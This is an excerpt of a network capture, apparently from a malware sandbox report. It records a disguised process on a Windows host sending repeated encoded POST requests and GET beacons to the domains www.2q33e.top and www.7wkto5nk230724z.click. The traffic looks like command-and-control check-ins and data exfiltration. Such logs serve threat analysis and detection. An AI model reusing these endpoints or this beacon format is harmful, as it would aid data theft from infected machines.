Jan 14, 2025 10:25:55.782677889 CET	289	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 14 Jan 2025 09:25:55 GMT Content-Type: text/html Content-Length: 146 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.4	57601	38.47.233.52	80	4944	C:\Program Files (x86)\ZJVdDTSHvqSjjqQNqNGGpyUZfODRUsROtCgOaWivdOVQCkvHWkEXXCJISuKFITnpLIwzjKRncrXBNUeK\zalkpCfMwtnpQo.exe

Timestamp	Bytes transferred	Direction	Data
Jan 14, 2025 10:25:57.420248985 CET	711	OUT	POST /dim8/ HTTP/1.1 Host: www.2q33e.top Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Origin: http://www.2q33e.top Referer: http://www.2q33e.top/dim8/ Cache-Control: no-cache Connection: close Content-Length: 220 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; ASU2JS; rv:11.0) like Gecko Data Raw: 77 7a 34 3d 66 4b 52 35 42 69 52 5a 41 2b 48 47 69 45 5a 31 51 44 32 2b 33 74 4d 48 44 70 64 2b 44 4c 66 32 6f 5a 75 75 68 4e 48 68 51 69 64 6f 74 42 76 32 46 31 46 56 6c 52 63 31 57 66 34 43 33 6d 78 65 4f 42 42 45 4b 4d 32 55 47 78 41 64 42 47 76 44 4d 65 42 68 35 48 4a 4e 33 54 50 4e 38 4c 2b 31 65 50 33 4a 4e 52 30 38 64 41 30 30 32 70 44 75 63 5a 50 59 45 49 39 41 36 32 30 69 42 77 52 7a 74 43 55 65 6c 57 52 63 44 39 32 32 2b 6a 38 62 5a 6e 6b 37 6e 6e 6d 68 33 5a 6b 2b 2b 2b 71 46 71 47 68 6b 2b 56 4e 68 48 44 62 43 62 32 55 55 7a 76 48 67 36 6a 42 6f 4f 30 51 66 44 31 49 39 6a 70 50 6a 6d 4a 64 66 47 4b 41 32 2b 44 59 4c 73 66 57 59 4f 6c 67 3d Data Ascii: wz4=fKR5BiRZA+HGiEZ1QD2+3tMHDpd+DLf2oZuuhNHhQidotBv2F1FVlRc1Wf4C3mxeOBBEKM2UGxAdBGvDMeBh5HJN3TPN8L+1eP3JNR08dA002pDucZPYEI9A620iBwRztCUelWRcD922+j8bZnk7nnmh3Zk+++qFqGhk+VNhHDbCb2UUzvHg6jBoO0QfD1I9jpPjmJdfGKA2+DYLsfWYOlg=
Jan 14, 2025 10:25:58.318330050 CET	289	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 14 Jan 2025 09:25:58 GMT Content-Type: text/html Content-Length: 146 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.4	57602	38.47.233.52	80	4944	C:\Program Files (x86)\ZJVdDTSHvqSjjqQNqNGGpyUZfODRUsROtCgOaWivdOVQCkvHWkEXXCJISuKFITnpLIwzjKRncrXBNUeK\zalkpCfMwtnpQo.exe

Timestamp	Bytes transferred	Direction	Data
Jan 14, 2025 10:25:59.969480991 CET	10793	OUT	POST /dim8/ HTTP/1.1 Host: www.2q33e.top Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Origin: http://www.2q33e.top Referer: http://www.2q33e.top/dim8/ Cache-Control: no-cache Connection: close Content-Length: 10300 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; ASU2JS; rv:11.0) like Gecko Data Raw: 77 7a 34 3d 66 4b 52 35 42 69 52 5a 41 2b 48 47 69 45 5a 31 51 44 32 2b 33 74 4d 48 44 70 64 2b 44 4c 66 32 6f 5a 75 75 68 4e 48 68 51 69 46 6f 74 79 58 32 44 55 46 56 69 52 63 31 51 76 34 35 33 6d 78 48 4f 42 70 41 4b 4d 71 71 47 33 45 64 41 6c 6e 44 46 4d 70 68 67 58 4a 4e 6f 44 50 49 69 37 2b 67 65 4d 66 4e 4e 52 6b 38 64 41 30 30 32 72 62 75 56 72 6e 59 49 6f 39 48 73 6d 30 32 46 77 52 62 74 43 74 6c 6c 57 56 32 44 73 57 32 2b 41 45 62 56 78 77 37 34 33 6d 5a 77 5a 6b 6d 2b 2b 32 67 71 46 45 64 2b 56 51 47 48 42 48 43 4b 53 78 67 30 64 62 48 6a 6c 46 37 4f 6e 67 4a 4b 47 55 67 72 6f 48 47 6d 4c 64 4c 57 62 52 63 36 42 55 42 2b 76 53 6f 56 67 39 66 67 6f 6c 52 53 56 2b 77 53 33 64 45 6d 4e 70 36 6e 4d 70 58 6a 75 70 36 6f 45 43 41 74 64 6b 73 55 4c 50 37 66 52 4f 76 39 78 2f 58 66 71 42 46 4a 39 67 65 75 45 6b 31 50 53 6a 4c 76 53 64 57 70 35 74 43 2f 4e 35 6d 38 45 47 44 69 4e 2b 75 57 50 5a 4a 4f 6d 6b 41 46 69 6d 4e 72 30 4e 7a 74 69 47 31 4e 59 74 34 69 68 74 4b 4f 63 56 4e 47 4d 2b 42 75 34 [TRUNCATED] Data Ascii: wz4=fKR5BiRZA+HGiEZ1QD2+3tMHDpd+DLf2oZuuhNHhQiFotyX2DUFViRc1Qv453mxHOBpAKMqqG3EdAlnDFMphgXJNoDPIi7+geMfNNRk8dA002rbuVrnYIo9Hsm02FwRbtCtllWV2DsW2+AEbVxw743mZwZkm++2gqFEd+VQGHBHCKSxg0dbHjlF7OngJKGUgroHGmLdLWbRc6BUB+vSoVg9fgolRSV+wS3dEmNp6nMpXjup6oECAtdksULP7fROv9x/XfqBFJ9geuEk1PSjLvSdWp5tC/N5m8EGDiN+uWPZJOmkAFimNr0NztiG1NYt4ihtKOcVNGM+Bu4XyTrvDz2OpRIq5krOVYJ3Qs8qcZgKiHXzy2V3tx164RGxsPbfAIcgSW7ngony12ft5Lrrs0YC/whTaKCtZrTlI/WyMbcxULvbfw2bRx/JxR0pn4gREbK5vc5NF6gC38pZSJPKGBPgQ3qTTM1cN7naSUVrfjDQ5BOktL7d3njwiLqeMQ5Gw+0vtlpub4UMoZ6L/jvblC2VZZUKbAfzqa/4QiULHUL22n6Twnna+0hRi0SxlIJ3d9LtHsR5erDMUVWoV3ZnLOv+XQiJxbfHR9J3CBEREgmoDV1zeDw7c7QDzZN5YgS+c7JCfXZWRHhA9ndiPIy0JUwJpFmlYvw6NXAX/MGEezh61DhGDQatREeF4FDgqhpgiSADcqviLTIA/WMMlaOw9gl8pPH+D8xfBSn6POlYCOVMuTdH5GupzJLRSXEqMki/Oky81/Usxwah2nv4ZbuJmiPCiFrBfH9/THkOFaE5+rayGLVCC/BOCvO4PZkMEIpjCunViFEZAVPvyr3q/b39SvQgPhJjGzuvfu/KN3yOEthDM9NPQwE0ktfkgQvzRuRkAgO5GmhAXgdFXnSQHBJcAFA4AyAUNnPqC7HLKse3pw8hZFRgxV3QVsL3jhnS0c2zNF3liAjUDxXYlJ46sT36LX7gb/tLTL66Jyw8QBApiKn9b9pq2 [TRUNCATED]
Jan 14, 2025 10:26:00.889535904 CET	289	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 14 Jan 2025 09:26:00 GMT Content-Type: text/html Content-Length: 146 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.4	57603	38.47.233.52	80	4944	C:\Program Files (x86)\ZJVdDTSHvqSjjqQNqNGGpyUZfODRUsROtCgOaWivdOVQCkvHWkEXXCJISuKFITnpLIwzjKRncrXBNUeK\zalkpCfMwtnpQo.exe

Timestamp	Bytes transferred	Direction	Data
Jan 14, 2025 10:26:02.518615007 CET	436	OUT	GET /dim8/?wz4=SI5ZCVgJbtC8ikIAaDbl0c4+a+swA4Oej6uVn92gSwZctgLMHnh4qXUXZe4N7Wh4DCFNfNClZUM8FDTYBsBE5loeshCr6I6FGtX7Gz1ZeQkIvaXZY4DJTLc=&OvV=2njD6f80EDOLQ8 HTTP/1.1 Host: www.2q33e.top Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Connection: close User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; ASU2JS; rv:11.0) like Gecko
Jan 14, 2025 10:26:03.413165092 CET	289	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 14 Jan 2025 09:26:03 GMT Content-Type: text/html Content-Length: 146 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.4	57604	104.21.3.193	80	4944	C:\Program Files (x86)\ZJVdDTSHvqSjjqQNqNGGpyUZfODRUsROtCgOaWivdOVQCkvHWkEXXCJISuKFITnpLIwzjKRncrXBNUeK\zalkpCfMwtnpQo.exe

Timestamp	Bytes transferred	Direction	Data
Jan 14, 2025 10:26:08.452037096 CET	727	OUT	POST /yysf/ HTTP/1.1 Host: www.7wkto5nk230724z.click Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Origin: http://www.7wkto5nk230724z.click Referer: http://www.7wkto5nk230724z.click/yysf/ Cache-Control: no-cache Connection: close Content-Length: 200 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; ASU2JS; rv:11.0) like Gecko Data Raw: 77 7a 34 3d 30 2b 54 6c 2f 61 73 4e 30 73 67 77 4a 75 48 58 67 38 41 38 56 66 6a 76 46 71 47 30 73 38 39 62 4c 6d 34 48 76 41 6d 2b 2b 45 54 73 58 6e 72 70 69 38 74 47 62 62 43 67 6a 63 74 2b 71 76 55 6a 48 58 37 33 57 74 51 34 43 37 44 47 35 32 41 45 6b 73 33 75 73 6a 52 7a 7a 63 30 41 41 31 77 78 57 69 6f 44 58 79 6e 38 47 56 4c 76 71 6a 71 43 78 31 45 74 43 36 50 39 39 71 42 48 6b 52 2b 56 49 76 51 77 43 2b 33 4b 6d 57 30 7a 4b 63 78 77 54 4f 77 47 2f 79 4a 35 48 4b 68 36 30 35 37 70 4f 36 45 52 59 2f 6f 41 4a 48 58 38 75 36 48 51 47 64 39 4d 32 72 4f 65 35 61 41 4a 57 65 62 47 4e 41 3d 3d Data Ascii: wz4=0+Tl/asN0sgwJuHXg8A8VfjvFqG0s89bLm4HvAm++ETsXnrpi8tGbbCgjct+qvUjHX73WtQ4C7DG52AEks3usjRzzc0AA1wxWioDXyn8GVLvqjqCx1EtC6P99qBHkR+VIvQwC+3KmW0zKcxwTOwG/yJ5HKh6057pO6ERY/oAJHX8u6HQGd9M2rOe5aAJWebGNA==
Jan 14, 2025 10:26:08.909774065 CET	922	IN	HTTP/1.1 404 Not Found Date: Tue, 14 Jan 2025 09:26:08 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=1Pt32mz4Hjf5wEYEo84%2FdHhvMrBqOd9qGOnyw2tkOof0KdwmNOSE8nVKByZycViJhT%2F82LZwvB6SZcNzltYxE6tBD0Icnv1pfWwHcmjNspDZy4qrksAN6UH9zvhU%2BsLUlWyoafdocWILSdJf"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 901c953158fa4309-EWR Content-Encoding: gzip alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1683&min_rtt=1683&rtt_var=841&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=727&delivery_rate=0&cwnd=232&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 36 64 0d 0a 1f 8b 08 00 00 00 00 00 00 03 b3 c9 28 c9 cd b1 e3 e5 b2 c9 48 4d 4c b1 b3 29 c9 2c c9 49 b5 33 31 30 51 f0 cb 2f 51 70 cb 2f cd 4b b1 d1 87 08 da e8 83 95 f0 72 d9 24 e5 a7 54 82 e8 e4 d4 bc 92 d4 22 3b 9b 0c 43 74 1d 19 86 76 36 fa 50 69 90 d9 45 76 30 c5 79 e9 99 79 15 c8 72 fa 30 d3 f4 a1 2e 01 00 0b d9 61 33 92 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 6d(HML),I310Q/Qp/Kr$T";Ctv6PiEv0yyr0.a30

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.4	57605	104.21.3.193	80	4944	C:\Program Files (x86)\ZJVdDTSHvqSjjqQNqNGGpyUZfODRUsROtCgOaWivdOVQCkvHWkEXXCJISuKFITnpLIwzjKRncrXBNUeK\zalkpCfMwtnpQo.exe

Timestamp	Bytes transferred	Direction	Data
Jan 14, 2025 10:26:11.011548042 CET	747	OUT	POST /yysf/ HTTP/1.1 Host: www.7wkto5nk230724z.click Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Origin: http://www.7wkto5nk230724z.click Referer: http://www.7wkto5nk230724z.click/yysf/ Cache-Control: no-cache Connection: close Content-Length: 220 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; ASU2JS; rv:11.0) like Gecko Data Raw: 77 7a 34 3d 30 2b 54 6c 2f 61 73 4e 30 73 67 77 50 4f 58 58 7a 4e 41 38 45 76 6a 6f 63 4b 47 30 35 4d 39 41 4c 6e 45 48 76 42 6a 6c 2b 32 48 73 58 43 76 70 6a 39 74 47 59 62 43 67 70 38 74 78 6b 50 56 68 48 58 32 43 57 74 63 34 43 37 58 47 35 32 77 45 6e 62 4c 70 74 7a 51 56 2b 38 30 65 4f 56 77 78 57 69 6f 44 58 79 44 46 47 56 54 76 71 7a 61 43 77 51 6f 75 42 36 50 2b 36 71 42 48 31 42 2f 63 49 76 51 53 43 38 44 67 6d 54 34 7a 4b 59 39 77 54 66 77 48 32 79 4a 7a 5a 36 67 6b 79 36 57 2f 4d 62 70 72 47 38 63 7a 48 56 37 5a 76 38 4b 4b 58 73 63 62 6b 72 71 74 6b 64 4a 39 62 64 6d 50 57 4f 4b 6e 67 6d 54 63 34 6a 65 31 71 4f 31 65 42 37 37 4d 4e 4f 45 3d Data Ascii: wz4=0+Tl/asN0sgwPOXXzNA8EvjocKG05M9ALnEHvBjl+2HsXCvpj9tGYbCgp8txkPVhHX2CWtc4C7XG52wEnbLptzQV+80eOVwxWioDXyDFGVTvqzaCwQouB6P+6qBH1B/cIvQSC8DgmT4zKY9wTfwH2yJzZ6gky6W/MbprG8czHV7Zv8KKXscbkrqtkdJ9bdmPWOKngmTc4je1qO1eB77MNOE=
Jan 14, 2025 10:26:12.081835032 CET	924	IN	HTTP/1.1 404 Not Found Date: Tue, 14 Jan 2025 09:26:11 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=FhQRVzxcARiCQFR76qX%2FN8cdbofdEwLUmRg7fc8VBQCvK441%2FvI%2FOL79ouJLyUIrDU5HIIGn0YYpAXTkEnMgs2pjpNomBCORkK4g23UaxOE1CIFlSxWB1SNTS%2Fgr7pVmqolT9nxNaJtbbe3A"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 901c95414d2ede92-EWR Content-Encoding: gzip alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1715&min_rtt=1715&rtt_var=857&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=747&delivery_rate=0&cwnd=239&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 36 64 0d 0a 1f 8b 08 00 00 00 00 00 00 03 b3 c9 28 c9 cd b1 e3 e5 b2 c9 48 4d 4c b1 b3 29 c9 2c c9 49 b5 33 31 30 51 f0 cb 2f 51 70 cb 2f cd 4b b1 d1 87 08 da e8 83 95 f0 72 d9 24 e5 a7 54 82 e8 e4 d4 bc 92 d4 22 3b 9b 0c 43 74 1d 19 86 76 36 fa 50 69 90 d9 45 76 30 c5 79 e9 99 79 15 c8 72 fa 30 d3 f4 a1 2e 01 00 0b d9 61 33 92 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 6d(HML),I310Q/Qp/Kr$T";Ctv6PiEv0yyr0.a30
Jan 14, 2025 10:26:12.082305908 CET	924	IN	HTTP/1.1 404 Not Found Date: Tue, 14 Jan 2025 09:26:11 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=FhQRVzxcARiCQFR76qX%2FN8cdbofdEwLUmRg7fc8VBQCvK441%2FvI%2FOL79ouJLyUIrDU5HIIGn0YYpAXTkEnMgs2pjpNomBCORkK4g23UaxOE1CIFlSxWB1SNTS%2Fgr7pVmqolT9nxNaJtbbe3A"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 901c95414d2ede92-EWR Content-Encoding: gzip alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1715&min_rtt=1715&rtt_var=857&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=747&delivery_rate=0&cwnd=239&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 36 64 0d 0a 1f 8b 08 00 00 00 00 00 00 03 b3 c9 28 c9 cd b1 e3 e5 b2 c9 48 4d 4c b1 b3 29 c9 2c c9 49 b5 33 31 30 51 f0 cb 2f 51 70 cb 2f cd 4b b1 d1 87 08 da e8 83 95 f0 72 d9 24 e5 a7 54 82 e8 e4 d4 bc 92 d4 22 3b 9b 0c 43 74 1d 19 86 76 36 fa 50 69 90 d9 45 76 30 c5 79 e9 99 79 15 c8 72 fa 30 d3 f4 a1 2e 01 00 0b d9 61 33 92 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 6d(HML),I310Q/Qp/Kr$T";Ctv6PiEv0yyr0.a30

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.4	57606	104.21.3.193	80	4944	C:\Program Files (x86)\ZJVdDTSHvqSjjqQNqNGGpyUZfODRUsROtCgOaWivdOVQCkvHWkEXXCJISuKFITnpLIwzjKRncrXBNUeK\zalkpCfMwtnpQo.exe

Timestamp	Bytes transferred	Direction	Data
Jan 14, 2025 10:26:13.545166969 CET	10829	OUT	POST /yysf/ HTTP/1.1 Host: www.7wkto5nk230724z.click Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Origin: http://www.7wkto5nk230724z.click Referer: http://www.7wkto5nk230724z.click/yysf/ Cache-Control: no-cache Connection: close Content-Length: 10300 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; ASU2JS; rv:11.0) like Gecko Data Raw: 77 7a 34 3d 30 2b 54 6c 2f 61 73 4e 30 73 67 77 50 4f 58 58 7a 4e 41 38 45 76 6a 6f 63 4b 47 30 35 4d 39 41 4c 6e 45 48 76 42 6a 6c 2b 32 2f 73 58 30 54 70 69 65 46 47 5a 62 43 67 71 38 74 79 6b 50 56 67 48 58 75 5a 57 74 68 48 43 34 76 47 2f 6e 51 45 6d 76 66 70 6b 7a 51 56 68 73 30 66 41 31 77 6b 57 6a 59 50 58 79 7a 46 47 56 54 76 71 77 43 43 6d 31 45 75 4e 61 50 39 39 71 42 44 6b 52 2b 35 49 72 45 6f 43 38 48 61 6e 6e 45 7a 4c 38 52 77 66 4e 49 48 35 79 4a 31 59 36 67 73 79 36 62 68 4d 62 6b 46 47 38 5a 37 48 55 44 5a 75 34 37 53 48 4e 45 76 2f 36 61 6b 35 39 42 59 54 50 79 38 61 4a 50 65 70 45 6e 37 67 67 69 64 75 4d 73 62 5a 71 72 4b 5a 61 69 4c 53 78 4d 6c 4f 36 73 6a 65 7a 6e 35 30 57 48 65 37 50 36 65 30 6b 49 56 6f 49 6f 4c 44 51 79 48 77 32 4c 57 47 38 36 55 65 48 70 48 79 34 63 4f 6f 2b 41 56 74 68 34 6e 41 34 30 56 30 44 32 49 68 43 69 52 36 36 35 45 6e 75 7a 63 61 2f 35 6b 66 43 37 70 31 59 70 4f 36 2b 48 6e 72 78 31 78 4f 56 78 70 33 69 7a 4b 4a 68 57 65 6c 77 38 46 6d 57 6c 38 38 61 [TRUNCATED] Data Ascii: wz4=0+Tl/asN0sgwPOXXzNA8EvjocKG05M9ALnEHvBjl+2/sX0TpieFGZbCgq8tykPVgHXuZWthHC4vG/nQEmvfpkzQVhs0fA1wkWjYPXyzFGVTvqwCCm1EuNaP99qBDkR+5IrEoC8HannEzL8RwfNIH5yJ1Y6gsy6bhMbkFG8Z7HUDZu47SHNEv/6ak59BYTPy8aJPepEn7ggiduMsbZqrKZaiLSxMlO6sjezn50WHe7P6e0kIVoIoLDQyHw2LWG86UeHpHy4cOo+AVth4nA40V0D2IhCiR665Enuzca/5kfC7p1YpO6+Hnrx1xOVxp3izKJhWelw8FmWl88a/kKNLLLRv1thVPhj3ZGa0/EMmV+0XDnQty30/wlHoMJkMqo+XEwO0KPUvSUnzXNUFyzgxLs2oGlFRATbW820wGL6fvNKKhQvAntZuPC3ckOuaz+Y/ZkzGLJHdnknottyDStSp8etRP0lhg+jcStVCdeqUSnYWRKWVpoRXQ8IKbNPG7M9/NJowDR/yJmCSYrzrOrzrwyShCODWS4W0fUWG3Pe2SZdOZctw7VKFLakuwBgz8XwkxY8bMyDRsi/oks8ELqs5sxROhWLaxSOW+euzIxftXZ7ZIV0+j+gQ0Xmx/bB8IoQ3jLe8QdvEvQH/+14vwsVt8yM8XJlz5wXOU6evSfxqZIBrNS1dKLsxVuxuC0N0B4DKixYCM+y+hUyfWJ2HOutOoOgLaR8yjDBBOvofYVnTvXLQYeWagzoPMZZNOko8DjN9STee8PBreHeWunMAdEsAVLDECiDgb86swwFtZ8uG+r+yZYlPXY4gvseH/z0Wn0y5oBmMPkl5XpCC+RzWk2r+ws0hx83vv754M84C5TPZnsDURN05fm1tFzlROPtIWOYSp3+aILasnYh/c4T/QzgofhDJ4h1KAViwo1dl2ZrIpBkRkHnNdxCRLX4iC2pa8l5OJRpME3SDrkuknOZrpLr5bYCPUdI/EG3JrnKPIUMw9bQWBgMvN [TRUNCATED]
Jan 14, 2025 10:26:14.005810022 CET	933	IN	HTTP/1.1 404 Not Found Date: Tue, 14 Jan 2025 09:26:13 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2FbP2NoBQfclcAsHdBnv16qAEYZDiHZ188yjA%2BJczaFFo9aSzii9rYnhH2qSVZZfPYZSrjsIcgTNLb9oUkIzq%2B3%2BAC0RzvC7koCGhtCvF1t8Z2IYjInbVRQzJXHlSSuJVN%2FH9BJe8oGaz%2BKm%2F"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 901c955129674304-EWR Content-Encoding: gzip alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1552&min_rtt=1552&rtt_var=776&sent=5&recv=11&lost=0&retrans=0&sent_bytes=0&recv_bytes=10829&delivery_rate=0&cwnd=246&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 36 64 0d 0a 1f 8b 08 00 00 00 00 00 00 03 b3 c9 28 c9 cd b1 e3 e5 b2 c9 48 4d 4c b1 b3 29 c9 2c c9 49 b5 33 31 30 51 f0 cb 2f 51 70 cb 2f cd 4b b1 d1 87 08 da e8 83 95 f0 72 d9 24 e5 a7 54 82 e8 e4 d4 bc 92 d4 22 3b 9b 0c 43 74 1d 19 86 76 36 fa 50 69 90 d9 45 76 30 c5 79 e9 99 79 15 c8 72 fa 30 d3 f4 a1 2e 01 00 0b d9 61 33 92 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 6d(HML),I310Q/Qp/Kr$T";Ctv6PiEv0yyr0.a30

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.4	57607	104.21.3.193	80	4944	C:\Program Files (x86)\ZJVdDTSHvqSjjqQNqNGGpyUZfODRUsROtCgOaWivdOVQCkvHWkEXXCJISuKFITnpLIwzjKRncrXBNUeK\zalkpCfMwtnpQo.exe

Timestamp	Bytes transferred	Direction	Data
Jan 14, 2025 10:26:16.088562012 CET	448	OUT	GET /yysf/?OvV=2njD6f80EDOLQ8&wz4=587F8uRRvdNyXp392stmA/LSb7Spi8c8LmJfnRupxm2/Wn33qNRES9K4qtAStdZkGkX6B9loQ5/VkD04mezEqEUp6fJ/QFk+OhJrfgesanG1zCyT/BctW7c= HTTP/1.1 Host: www.7wkto5nk230724z.click Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Connection: close User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; ASU2JS; rv:11.0) like Gecko
